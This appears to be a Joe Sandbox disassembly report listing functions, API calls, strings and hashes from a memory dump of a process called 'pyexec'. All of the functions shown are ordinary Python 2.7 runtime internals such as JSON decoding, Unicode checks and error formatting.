Opcode ID: 8ae1a3c6438c6890c2dd0a3981d37414dd59b9cecc55c0a3bb9887d41e70db67
Instruction ID: eff4b4a4be0daf201ac041cd330486bd7fb86ddc97a84a4d2836540cb2bf5264
Opcode Fuzzy Hash: 8ae1a3c6438c6890c2dd0a3981d37414dd59b9cecc55c0a3bb9887d41e70db67
Instruction Fuzzy Hash: 8021D1B7A051011BD610EAE9AC05BDB37ECDB8126DF144729ED18D3F21F721D91983E2

Function 6C158C00 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

PyInt_ClearFreeList.PYTHON27 ref: 6C158C3B
__iob_func.MSVCR90 ref: 6C158C5B
fprintf.MSVCR90 ref: 6C158C67
__iob_func.MSVCR90 ref: 6C158C75
fprintf.MSVCR90 ref: 6C158C7B
__iob_func.MSVCR90 ref: 6C158C98
fprintf.MSVCR90 ref: 6C158C9E
__iob_func.MSVCR90 ref: 6C158CEA
fprintf.MSVCR90 ref: 6C158CF0

Strings

R, xrefs: 6C158CC6
: %d unfreed int%s, xrefs: 6C158C93
(E1l, xrefs: 6C158C08
# <int at %p, refcnt=%ld, val=%ld>, xrefs: 6C158CE5
# cleanup ints, xrefs: 6C158C56

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: __iob_funcfprintf$ClearFreeInt_List
String ID: # <int at %p, refcnt=%ld, val=%ld>$# cleanup ints$(E1l$: %d unfreed int%s$R
API String ID: 1369846620-1966198789
Opcode ID: a3c1c92619b2949226ccbdc80c19d9a04b86a33c3c1351a3f9b24afb66627a71
Instruction ID: a7c7e888d2a2df6397e56d5e3fa220ea5cfd0c3d619cf81e721fee1c5ed53067
Opcode Fuzzy Hash: a3c1c92619b2949226ccbdc80c19d9a04b86a33c3c1351a3f9b24afb66627a71
Instruction Fuzzy Hash: 353127F1A422049BFB109F69CC40A9A73BCEF11318F56456ADC2597B40D735ED51CBA0

Function 6C0B1F30 Relevance: 24.2, APIs: 16, Instructions: 185COMMON

Download Yara Rule

APIs

isalnum.MSVCR90 ref: 6C0B2025
isalnum.MSVCR90 ref: 6C0B2043
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6C0B205C
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6C0B2066
_PyUnicodeUCS2_IsWhitespace.PYTHON27 ref: 6C0B208A
_PyUnicodeUCS2_IsWhitespace.PYTHON27 ref: 6C0B20B2
_PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 6C0B20C5
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6C0B20D2
_PyUnicodeUCS2_IsDigit.PYTHON27 ref: 6C0B20E3
_PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 6C0B20F4
_PyUnicodeUCS2_IsAlpha.PYTHON27 ref: 6C0B20FF
_PyUnicodeUCS2_IsDecimalDigit.PYTHON27 ref: 6C0B2110
_PyUnicodeUCS2_IsDigit.PYTHON27 ref: 6C0B2121
_PyUnicodeUCS2_IsNumeric.PYTHON27 ref: 6C0B2132
_PyUnicodeUCS2_IsLinebreak.PYTHON27 ref: 6C0B2152
_PyUnicodeUCS2_IsLinebreak.PYTHON27 ref: 6C0B215C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Digit$Decimal$AlphaLinebreakNumericWhitespaceisalnum
String ID:
API String ID: 1297412580-0
Opcode ID: deb980e5f2d661c9b30d2436d8973ddfc9fbdc6d4effd814baa9c606a20af6d3
Instruction ID: 32263b2fd28450bc37671cfcc321632122d1158fd72639a514a84041ab26dbad
Opcode Fuzzy Hash: deb980e5f2d661c9b30d2436d8973ddfc9fbdc6d4effd814baa9c606a20af6d3
Instruction Fuzzy Hash: 31410693A2BA6005E711A2395C563DF34E91F4634DF8C0571E893E1E92FB1ED60EC68B

Function 6C18B6F0 Relevance: 23.2, APIs: 8, Strings: 5, Instructions: 408COMMON

Download Yara Rule

APIs

PyUnicodeUCS2_DecodeLatin1.PYTHON27(?,?,?,?,00000000,?,?,?,6C0A2548,?,?,?,?), ref: 6C18B719

Strings

character maps to <undefined>, xrefs: 6C18B7C0, 6C18BA0E
H%l, xrefs: 6C18B9FD, 6C18B7B2, 6C18B7B5, 6C18BA00
character mapping must return integer, None or unicode, xrefs: 6C18BB22
charmap, xrefs: 6C18B7C8, 6C18BA16
character mapping must be in range(0x110000), xrefs: 6C18BAF2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DecodeLatin1Unicode
String ID: H%l$character mapping must be in range(0x110000)$character mapping must return integer, None or unicode$character maps to <undefined>$charmap
API String ID: 2178874186-1281798166
Opcode ID: 8c2d40390193707ab3c79b2804e987bd411f01ceebaf0d1766897d5df75aafe7
Instruction ID: c36e61bdafe611968128d9d882db739d2e2828149d832d50b23bbac35b3af91f
Opcode Fuzzy Hash: 8c2d40390193707ab3c79b2804e987bd411f01ceebaf0d1766897d5df75aafe7
Instruction Fuzzy Hash: 63E19175E0520A9FCB00CFA8CC809AEB7B5BF55318B158259D8199BB90D734EE46CF91

Function 6C0AD510 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 305COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(idx cannot be negative,?,?,?,?,?,6C0AC59D,FFFFFFFD,?,?,?), ref: 6C0AD532
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,?), ref: 6C0AD53E
PyErr_SetObject.PYTHON27(6C2E4978,00000000,?,?,?,?,?,6C0AC59D,FFFFFFFD,?,?,?), ref: 6C0AD571
PyObject_IsTrue.PYTHON27(?,?,?,?,?,?,6C0AC59D,FFFFFFFD,?,?,?), ref: 6C0AD5A8
_Py_CheckRecursiveCall.PYTHON27( while decoding a JSON object from a byte string), ref: 6C0AD5F5

Part of subcall function 6C1AE7C0: PyOS_CheckStack.PYTHON27(?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7CA
Part of subcall function 6C1AE7C0: PyErr_SetString.PYTHON27(6C2E67A8,Stack overflow,?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7E1

_Py_CheckRecursiveCall.PYTHON27( while decoding a JSON array from a byte string), ref: 6C0AD64D

Strings

while decoding a JSON object from a byte string, xrefs: 6C0AD5F0
while decoding a JSON array from a byte string, xrefs: 6C0AD648
c.l, xrefs: 6C0AD752
NaN, xrefs: 6C0AD789
-Infinity, xrefs: 6C0AD858
idx cannot be negative, xrefs: 6C0AD52D
Infinity, xrefs: 6C0AD7FB

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CheckErr_$CallObjectRecursiveString$FromObject_StackString_True
String ID: while decoding a JSON array from a byte string$ while decoding a JSON object from a byte string$-Infinity$Infinity$NaN$idx cannot be negative$c.l
API String ID: 1039784377-4266319523
Opcode ID: bd7c1d33297368e9aafc227e10dbeed60b42d085e8921e449a310cfb2840706f
Instruction ID: 65ccfe607e5bf330f0eddb2b49dc9ed116bc16ae533f3046ea9a950f3399a6ab
Opcode Fuzzy Hash: bd7c1d33297368e9aafc227e10dbeed60b42d085e8921e449a310cfb2840706f
Instruction Fuzzy Hash: 43A11C76B047416BDB14CEDAE444AA5BBF4EB4533DF08435ADC0983A43D322EA5AC7E1

Function 6C0AD910 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 302COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(idx cannot be negative,?,?,?,?,?,6C0AC9D7,FFFFFFFD,?,?,?), ref: 6C0AD935
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,?), ref: 6C0AD941
PyErr_SetObject.PYTHON27(6C2E4978,00000000,?,?,?,?,?,6C0AC9D7,FFFFFFFD,?,?,?), ref: 6C0AD974
PyObject_IsTrue.PYTHON27(?,?,?,?,?,?,6C0AC9D7,FFFFFFFD,?,?,?), ref: 6C0AD9AA
_Py_CheckRecursiveCall.PYTHON27( while decoding a JSON object from a unicode string), ref: 6C0AD9F0

Part of subcall function 6C1AE7C0: PyOS_CheckStack.PYTHON27(?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7CA
Part of subcall function 6C1AE7C0: PyErr_SetString.PYTHON27(6C2E67A8,Stack overflow,?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7E1

_Py_CheckRecursiveCall.PYTHON27( while decoding a JSON array from a unicode string), ref: 6C0ADA47

Strings

c.l, xrefs: 6C0ADB53
while decoding a JSON object from a unicode string, xrefs: 6C0AD9EB
NaN, xrefs: 6C0ADB8B
-Infinity, xrefs: 6C0ADC77
idx cannot be negative, xrefs: 6C0AD930
Infinity, xrefs: 6C0ADC0D
while decoding a JSON array from a unicode string, xrefs: 6C0ADA42

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CheckErr_$CallObjectRecursiveString$FromObject_StackString_True
String ID: while decoding a JSON array from a unicode string$ while decoding a JSON object from a unicode string$-Infinity$Infinity$NaN$idx cannot be negative$c.l
API String ID: 1039784377-2849304119
Opcode ID: b7ed8dbabf59cbf9bb2afe75f0d4d033e03749d64782004e0dfaf36254ecbd48
Instruction ID: a7fca23f91f2df9397e8f8487b0147f86cd0ecf487806f41a8a7baff5d5f4262
Opcode Fuzzy Hash: b7ed8dbabf59cbf9bb2afe75f0d4d033e03749d64782004e0dfaf36254ecbd48
Instruction Fuzzy Hash: 17A11476B042016BCB20DFC5E844E5973FAEB85329F44C26EDC0987A53EBB1D88687D1

Function 6C0A8780 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 231COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,nO:nlargest,?,?), ref: 6C0A879F
PyObject_GetIter.PYTHON27(?), ref: 6C0A87B4

Part of subcall function 6C12FF00: PySequence_Check.PYTHON27(?), ref: 6C12FF18
Part of subcall function 6C12FF00: PySeqIter_New.PYTHON27(?), ref: 6C12FF25

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0A8801

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

PyIter_Next.PYTHON27(?), ref: 6C0A883D
PyList_Append.PYTHON27(00000000,00000000), ref: 6C0A8851
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0A88F8
PyList_Sort.PYTHON27(00000000), ref: 6C0A89AB
PyList_Reverse.PYTHON27(00000000), ref: 6C0A89B9

Strings

P&0l, xrefs: 6C0A8816, 6C0A881F, 6C0A882A
nO:nlargest, xrefs: 6C0A8799
GC object already tracked, xrefs: 6C0A87FC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugList_OutputString$Iter_Object___iob_func$AppendArg_CheckErrorFatalIterMallocNextParseReverseSequence_SortTupleabortfflushfprintf
String ID: GC object already tracked$P&0l$nO:nlargest
API String ID: 3411264338-2681452053
Opcode ID: d8e3b4b8d9270aec09495bf2eefd049f4e601451c88a76f0b1b1f5c8f18f70e5
Instruction ID: 5b706e30cb4d5d0723cddc05250e7f5e2587a0413792dad35d5b959d5662e2c5
Opcode Fuzzy Hash: d8e3b4b8d9270aec09495bf2eefd049f4e601451c88a76f0b1b1f5c8f18f70e5
Instruction Fuzzy Hash: 2081D671A006418FD714CFE8D880B5A73E4AB46338B24472AD97587BD2D735EC47CB96

Function 6C1500C0 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 204COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,writeobject with NULL file), ref: 6C1500D6
PyType_IsSubtype.PYTHON27(?,?), ref: 6C1500FA
PyObject_GetAttrString.PYTHON27(?,write), ref: 6C150110

Strings

write, xrefs: 6C15010A
writeobject with NULL file, xrefs: 6C1500D0
strict, xrefs: 6C150263, 6C15026D
I/O operation on closed file, xrefs: 6C150222

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$AttrErr_Object_SubtypeType_
String ID: I/O operation on closed file$strict$write$writeobject with NULL file
API String ID: 1296135835-1655942581
Opcode ID: 8eee7f1d63192f5bddb0398ddf001e6ebf658e6b8480161181a960e60243a9ce
Instruction ID: ac1ae18107eee5cc60dee57db988278d2e39377821d24c39018ad1815d7c8eb9
Opcode Fuzzy Hash: 8eee7f1d63192f5bddb0398ddf001e6ebf658e6b8480161181a960e60243a9ce
Instruction Fuzzy Hash: CB51D3B26002459BC7008AE9EC80B9A73B4AF5533CF644724ED398BB81D735E9A6C791

Function 6C164800 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 190COMMON

Download Yara Rule

APIs

PyDict_Size.PYTHON27(?), ref: 6C164834
PyDict_Size.PYTHON27(?), ref: 6C164872
PyErr_Format.PYTHON27(6C2E48B0,%.200s() takes no arguments (%zd given),?,?), ref: 6C1648AC
PyDict_Size.PYTHON27(?), ref: 6C1648C5
PyDict_Size.PYTHON27(?), ref: 6C164919
PyErr_Format.PYTHON27(6C2E48B0,%.200s() takes no keyword arguments,00000000), ref: 6C164937
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,00000078), ref: 6C16498B

Strings

%.200s() takes no keyword arguments, xrefs: 6C164931
%.200s() takes exactly one argument (%zd given), xrefs: 6C1648FA
..\Objects\methodobject.c, xrefs: 6C164980
%s:%d: bad argument to internal function, xrefs: 6C164985
%.200s() takes no arguments (%zd given), xrefs: 6C1648A6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Size$Err_Format
String ID: %.200s() takes exactly one argument (%zd given)$%.200s() takes no arguments (%zd given)$%.200s() takes no keyword arguments$%s:%d: bad argument to internal function$..\Objects\methodobject.c
API String ID: 3553065328-1061343441
Opcode ID: a23b8bf4d3ad12fe79f92fa4b367aff0aec9116dc25d3889ff5c70637cae558e
Instruction ID: eca16e10b0162ff03873042c0b683ec4cd15f64910da9f277b6333fc4001ff49
Opcode Fuzzy Hash: a23b8bf4d3ad12fe79f92fa4b367aff0aec9116dc25d3889ff5c70637cae558e
Instruction Fuzzy Hash: 2941AD767402085BD600DEAAFC91D6B73ACDB9523AB048575FD1DC7F01EA32E83486A1

Function 6C15D480 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

_finite.MSVCR90 ref: 6C15D49D
_isnan.MSVCR90 ref: 6C15D4B9
PyErr_SetString.PYTHON27(6C2E63F8,cannot convert float infinity to integer), ref: 6C15D4CD
_isnan.MSVCR90 ref: 6C15D4E7
PyString_FromString.PYTHON27(cannot convert float NaN to integer), ref: 6C15D4FB
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,cannot convert float NaN to integer), ref: 6C15D504
frexp.MSVCR90 ref: 6C15D54F
PyLong_FromLong.PYTHON27(00000000), ref: 6C15D566

Strings

cannot convert float infinity to integer, xrefs: 6C15D4C7
cannot convert float NaN to integer, xrefs: 6C15D4F6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromString_isnan$LongLong_ObjectString__finitefrexp
String ID: cannot convert float NaN to integer$cannot convert float infinity to integer
API String ID: 2678645882-126850158
Opcode ID: 113a8d4331740c20c8721e2b42ec9d9fa6c93b713d1600143903405ec4069369
Instruction ID: 8e04c6e9834da986cb15781c5d2fce15bd1efcc14e1168b1fa7b7c65b0aecc02
Opcode Fuzzy Hash: 113a8d4331740c20c8721e2b42ec9d9fa6c93b713d1600143903405ec4069369
Instruction Fuzzy Hash: DD4139B1A0920097CB007F65ED4966ABBB4EF85319F404679FD98C2690FB32D839C7D2

Function 6C1C0920 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 154stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCR90 ref: 6C1C0940
PyString_FromString.PYTHON27(PyErr_NewException: name must be module.class,?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C095E
PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyErr_NewException: name must be module.class,?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C0967
PyDict_New.PYTHON27(?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C09A1
PyString_FromString.PYTHON27(__module__,?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C09B9
PyDict_GetItem.PYTHON27(6C0A76FD,00000000,?,?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C09C9
PyString_FromStringAndSize.PYTHON27(00000000,00000000,?,?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C09F3
PyDict_SetItemString.PYTHON27(6C0A76FD,__module__,00000000,?,?,?,?,?,?,6C0A76FD,_csv.Error,00000000,00000000), ref: 6C1C0A0C
PyTuple_Pack.PYTHON27(00000001,?), ref: 6C1C0A30
PyObject_CallFunction.PYTHON27(?,sOO,?,00000000,6C0A76FD), ref: 6C1C0A50

Strings

PyErr_NewException: name must be module.class, xrefs: 6C1C0959
__module__, xrefs: 6C1C09B4, 6C1C0A06
sOO, xrefs: 6C1C0A46

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Dict_FromString_$Item$CallErr_FunctionObjectObject_PackSizeTuple_strrchr
String ID: PyErr_NewException: name must be module.class$__module__$sOO
API String ID: 1095792495-3598547424
Opcode ID: 999e3c82acd4f93257eb2f3af6e5070f59f7900822ce932e2ff1b6662fb0822d
Instruction ID: df3ef7f241c34be603305ffe3336f3607c0f538d5020be3004c099b42c586538
Opcode Fuzzy Hash: 999e3c82acd4f93257eb2f3af6e5070f59f7900822ce932e2ff1b6662fb0822d
Instruction Fuzzy Hash: 7C4122B6A002429BC700DE699840A9B73E4EFA4728F154729FC6857B80E738DD46CBD3

Function 6C1E7770 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

PySys_GetObject.PYTHON27(stderr,?,0000005F,?), ref: 6C1E77C4
PyType_IsSubtype.PYTHON27(?,?,?), ref: 6C1E77E6
_vsnprintf.MSVCR90 ref: 6C1E7819
PyFile_WriteString.PYTHON27(?,00000000), ref: 6C1E782C
PyErr_Clear.PYTHON27 ref: 6C1E7838
fputs.MSVCR90 ref: 6C1E784B
PyFile_WriteString.PYTHON27(... truncated,00000000), ref: 6C1E7866
PyErr_Clear.PYTHON27 ref: 6C1E7872
fputs.MSVCR90 ref: 6C1E7883
vfprintf.MSVCR90 ref: 6C1E789D
PyErr_Restore.PYTHON27(?,?,?), ref: 6C1E78BB

Strings

stderr, xrefs: 6C1E77B4
... truncated, xrefs: 6C1E7861, 6C1E787E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ClearFile_StringWritefputs$ObjectRestoreSubtypeSys_Type__vsnprintfvfprintf
String ID: ... truncated$stderr
API String ID: 1300025650-2073631001
